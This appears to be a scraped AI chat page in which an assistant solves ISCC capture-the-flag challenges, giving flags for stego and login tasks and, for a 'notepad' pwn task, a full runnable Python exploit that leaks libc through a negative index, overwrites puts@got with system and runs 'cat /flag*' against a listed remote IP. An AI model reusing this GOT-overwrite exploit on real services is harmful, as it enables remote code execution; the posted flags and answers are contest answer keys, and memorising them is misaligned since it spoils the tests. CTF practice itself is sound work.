1. barcode_00.png 到 barcode_20.png 每张图都藏了 3 层信息:...
बनाया गया: 10 मई 2026
का उपयोग करके उत्तर दिया गया GPT-5.5 Thinking द्वारा Chat01
बनाया गया: 10 मई 2026
का उपयोग करके उत्तर दिया गया GPT-5.5 Thinking द्वारा Chat01
解出来的 flag 是:
textISCC{jb31iRpXB1TqxH44151515}
关键差异点:这组数据里 21 行不是按 barcode_00 到 barcode_20 顺序拼,而是取出形如 A1fd37fA、B104541B 这种条目后,按首尾字母 A 到 U 排序。二维码解码得到:
textjb31iRpXB1TqxH4
PDF 隐藏文本为:
textKEY+bnVtYmVyYWJvdmVsaW5l3
bnVtYmVyYWJvdmVsaW5l 解码为 numberaboveline,即取第 3 行五线谱上方数字:
text4151515
所以最终为:
textISCC{jb31iRpXB1TqxH44151515}
按步取匙
200
2904 solves
有人把秘密藏在了言外之意:三段不起眼的笔记、几处被风吹淡的线索,以及一把只在特定时刻才会发亮的小匙。慢慢拼凑、静观其变,你会发现这不是一次抢夺,而是一场用心的对话;设备会替这段对话留下一点独有的指纹,作为回响。
解出的 flag 是:
textISCC{b36de5511702845fd5676d785e33c13021d472f7986cfefe}
按步取匙过程如下:
text登录用户名:zkp_master 登录密码:Zkp_M_ast3er
三关输入分别是:
textChallenge 1 验证码:A15AACFD Challenge 2 认证令牌:570c9be017d6dd994d66ce38415f29cf Challenge 3 最终密钥:e994d2b5c8e96837
中间 token 为:
text31a17e956ab2af0536b9cc95fd6dc932
最终 native 里用 CTF_ZKP_FLAG_V2 + session_key + proof1[:8] + proof2[:8] + proof3[:8] 再做 SHA-256,取前 24 字节转 hex,包上 ISCC{},得到:
textISCC{b36de5511702845fd5676d785e33c13021d472f7986cfefe}
notepad
100
3323 solves
一个简易记事本程序,允许创建和查看笔记。
题目地址:39.96.193.120:10005
我分析完附件了,漏洞和利用链是确定的;但当前题目服务 39.96.193.120:10005 从这里连接返回:
textConnectionRefusedError: [Errno 111] Connection refused
所以我没法实际从远端读出最终 flag。附件本身不含 flag,需要远端 /flag 或 flag 文件。
利用点:
textget_note() 只判断 index <= 9,没有判断 index >= 0
因此负索引可越界到 GOT / stdio 指针区:
textnotes = 0x35a0 index -4 -> 0x34e0,可泄露 read@got index -5 -> 0x34b0,content 区可覆盖 puts@got
利用思路:
text1. view(-4) 泄露 read@libc 2. libc_base = read_addr - 0x111130 3. system = libc_base + 0x55410 4. create(0) 写入命令:cat flag* / cat /flag* 5. create(-5) 覆盖 puts@got 为 system 6. view(0) 触发 system(note)
可直接跑的 exp:
pythonimport socket, time, struct HOST = "39.96.193.120" PORT = 10005 READ_OFF = 0x111130 SYSTEM_OFF = 0x55410 def recv_until(s, tok, timeout=5): data = b"" end = time.time() + timeout s.setblocking(False) while tok not in data and time.time() < end: try: c = s.recv(4096) if c: data += c else: break except BlockingIOError: time.sleep(0.02) s.setblocking(True) return data def recvall(s, timeout=2): data = b"" end = time.time() + timeout s.setblocking(False) while time.time() < end: try: c = s.recv(4096) if c: data += c end = time.time() + timeout else: break except BlockingIOError: time.sleep(0.05) s.setblocking(True) return data def send(s, data): s.sendall(data) def view(s, idx): recv_until(s, b"> ") send(s, b"2\n") recv_until(s, b"Index: ") send(s, str(idx).encode() + b"\n") return recv_until(s, b"> ", timeout=3) def create(s, idx, name15, content32): assert len(name15) == 15 assert len(content32) == 32 recv_until(s, b"> ") send(s, b"1\n") recv_until(s, b"Index: ") send(s, str(idx).encode() + b"\n") # scanf 留下的换行会被 read(name, 16) 吃掉 1 字节, # 所以这里实际只发 15 字节,写入效果是 b"\n" + name15。 recv_until(s, b"Name: ") send(s, name15) recv_until(s, b"Content: ") send(s, content32) s = socket.create_connection((HOST, PORT), timeout=8) # 1. leak read@libc out = view(s, -4) pos = out.index(b"Content: ") + len(b"Content: ") leak = out[pos:out.index(b"\n", pos)] read_addr = struct.unpack("<Q", leak.ljust(8, b"\x00"))[0] libc_base = read_addr - READ_OFF system_addr = libc_base + SYSTEM_OFF print("[+] read =", hex(read_addr)) print("[+] libc =", hex(libc_base)) print("[+] system =", hex(system_addr)) # 2. 准备命令,view(0) 会先 system(name),再 system(content) create( s, 0, b"cat flag*\x00".ljust(15, b"\x00"), b"cat /flag*\x00".ljust(32, b"\x00"), ) # 3. overwrite puts@got -> system payload = b"B" * 16 + struct.pack("<Q", system_addr) + b"C" * 8 create(s, -5, b"A" * 15, payload) # 4. trigger recv_until(s, b"> ") send(s, b"2\n") recv_until(s, b"Index: ") send(s, b"0\n") out = recvall(s, timeout=3) print(out.decode("latin-1", errors="ignore"))
本地用同样方式验证过:覆盖 puts@got 后,view(0) 能成功执行 system(note)。当前缺的只是远端服务恢复连接后读取真实 flag。
灵感笔记
100
3465 solves
你是一个自由撰稿人,使用"灵感笔记"云笔记工具。今天登录后,偶然发现这个笔记系统似乎有点问题...找到隐藏的Flag!
题目地址:39.105.213.28:5000